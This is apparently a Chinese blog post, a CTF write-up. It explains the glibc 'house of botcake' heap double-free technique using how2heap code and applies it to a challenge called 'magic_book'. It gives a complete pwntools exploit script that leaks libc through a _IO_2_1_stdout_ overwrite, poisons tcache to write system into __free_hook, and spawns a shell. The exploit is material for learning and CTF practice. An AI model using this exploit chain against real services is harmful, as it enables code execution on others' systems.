house of botcake

House of Botcake

先看看啥是house of botcake:https://forum.butian.net/index.php/share/1709

当 free 掉一个堆块进入 tcache 时,假如堆块的 bk 位存放的 key == tcache_key , 就会遍历这个大小的 Tcache ,假如发现同地址的堆块,则触发 Double Free 报错。

从攻击者的角度来说,我们如果想继续利用 Tcache Double Free 的话,一般可以采取以下的方法:

  1. 破坏掉被 free 的堆块中的 key,绕过检查(常用)
  2. 改变被 free 的堆块的大小,遍历时进入另一 idx 的 entries
  3. House of botcake(常用)

House of botcacke 合理利用了 Tcache 和 Unsortedbin 的机制,同一堆块第一次 Free 进 Unsortedbin 避免了 key 的产生,第二次 Free 进入 Tcache,让高版本的 Tcache Double Free 再次成为可能。

此外 House of botcake 在条件合适的情况下,极其容易完成多次任意分配堆块,是相当好用的手法。

示例

  1. 分配七个填充堆块(小于最大的Tcache,大于最大的Fastbin),一个辅助堆块 prev ,一个利用堆块 victim
// https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    intptr_t *prev = malloc(0x100);
    intptr_t *victim = malloc(0x100);
    malloc(0x10); // 防止合并
  1. free 掉七个填充堆块,此时对应大小的 Tcache 被填满
    for(int i=0; i<7; i++){
        free(x[i]);
    }
  1. free 掉利用堆块 victim,由于此时 Tcache 被填满,victim 进入 Unsortedbin(绕过了 key 的产生)
    free(victim);
  1. free 掉辅助堆块 prev,此时俩 Unsortedbin 相邻,会触发 Unsortedbin Consolidate 合并成一个大堆块
    free(prev);
  1. 申请出一个堆块,此时会优先从 Tcache 中取出一个填充堆块腾出位置。然后再 Free 掉 victim ,victim 进入 Tcache,完成 Double Free
    malloc(0x100);
    /*VULNERABILITY*/
    free(victim);// victim is already freed
    /*VULNERABILITY*/

最终的效果就是完成了堆块重叠,一个大的 Unsortedbin 吞着一个小的 Tcachebin。通过切割 Unsortedbin 我们分配一个比 victim 稍大的堆块 attacker 就可以覆写到 victim 的 next 指针,完成 Tcache Poisoning。

由于我们前期 Free 掉了多个填充堆块,此时我们同样大小的 Tcachebin 下的 count 是充足的。因此完成一次 Tcache Poisoning 后,通过 Free 掉 victim 和 attacker,再申请回来 attacker 可以再次覆写到 victim 的 next 指针,完成多次 Tcache Poinsoning。

magic_book

分析:总共3个功能:add(大小<=0x100),delete(无UAF),一次delete(有UAF)

add:

image-20221103025759459.png

delete(无UAF):

image-20221103025829096.png

onefree(有UAF,只能用一次):

image-20221103025854479.png

解题思路:

先类似示例,用house of botcake构造tcache被unsorted bin包裹,double free实现tcache poisoning需要消耗唯一的一次能UAF的free。

此时可将tcache自带的0x55开头的堆地址的后四位,覆盖为包含具有0x7f开头libc附近的地址(main_arena)的堆的地址后四位,其实就是某一个unsorted bin的堆地址。然后利用重叠的堆,申请出一个新堆,修改0x7f开头main_arena地址的后四位,改为_IO_2_1_stdout_的后四位,然后不断malloc,最终拿到IO_2_1_stdout的flag位,直接覆盖为p64(0xfbad1887)+p64(0)3+p8(0),这样会打印出带有_IO_2_1_stdin_的地址,或者覆盖为p64(0xfbad1800)+p64(0)3+b"\x58",这样会打印出_IO_file_jumps的地址,此时完成泄露,得到libc基址

由于我们前期 Free 掉了多个填充堆块,此时我们同样大小的 Tcachebin 下的 count 是充足的。因此完成一次 Tcache Poisoning 后,通过 Free 掉 victim 和 attacker,再申请回来 attacker 可以再次覆写到 victim 的 next 指针,完成多次 Tcache Poinsoning。

该题由于后续只能用无UAF的delete,故可以根据先前的构造,先free victim进入tcache,后free attacker去修改tcache->next,这里直接修改为__free_hook,然后malloc后往freehook写入system地址,随便free一个内容是/bin/sh的堆即可

PS:由于覆盖0x55开头的堆地址的后四位 和 修改0x7f开头main_arena地址的后四位 的高位均为随机,故需要爆破。

exp:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pickletools import stackslice
from time import sleep
from shutil import move
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch='amd64'
#p=remote('127.0.0.1',6666)
binary="./pwn"
p=process(binary)
context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('/pwn/libc')

elf=ELF(binary)
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, ''))
uu64    = lambda data   :u64(data.ljust(8, ''))
bp      = lambda bkp                :gdb.attach(p,'b *'+str(bkp))



def promise(size,content='/bin/sh\x00'):
    sal('Your choice : ','1')
    sal('Size: ',str(size))
    sa('Content: ',content)

def recall(index):
    sal('Your choice : ','2')
    sal('Index: ',str(index))


def onefree(index):
    sal('Your choice : ','9')
    sal('Index: ',str(index))


def pwn():
    for i in range(0,7):
        promise(0xd0)
    promise(0xd0)#prev
    promise(0xd0)#victim

    promise(0x10)

    for i in range(0,7):
        recall(i)
    onefree(8)
    recall(7)
    
    
    promise(0xd0)
    recall(8)
    
    a=libc.sym['_IO_2_1_stdout_']&0xffff
    stdout=[a,0x26a0]
    pl='a'*0xd0+p64(0)+p64(0xe1)+'\xc0\xa9'
    promise(0xf0,pl)#attacker
    
    
    print hex(stdout[0])
    
    promise(0xd0,'\xc0\xb9')
    
    promise(0x80,p16(stdout[0]))
    
    promise(0xd0,p16(stdout[0]))
    promise(0xd0,p64(0xfbad1887)+p64(0)*3+p8(0))
    
    leak=u64(ru('\x7f')[-6:].ljust(8,'\x00'))
    libc_base=leak-libc.sym['_IO_2_1_stdin_']
    print hex(leak)
    print hex(libc_base)
    recall(12)#free victim
    recall(11)#free attacker
    pl='a'*0xd0+p64(0)+p64(0xe1)+p64(libc.sym['__free_hook']+libc_base-8)
    promise(0xf0,pl)
    
    promise(0xd0)
    pl=8*'a'+p64(libc.sym['system']+libc_base)
    promise(0xd0,pl)
    gdb.attach(p)
    recall(10)
    
    
    it()
#pwn()
while True:
    try:
        p=process(binary)
        pwn()
        
    except KeyboardInterrupt:
        p.close()
        break
    except EOFError:
        p.close()
        continue
    except:
        p.close()
        continue

posted @ 2022-11-03 03:17  brain_Z  阅读(306)  评论(0编辑  收藏  举报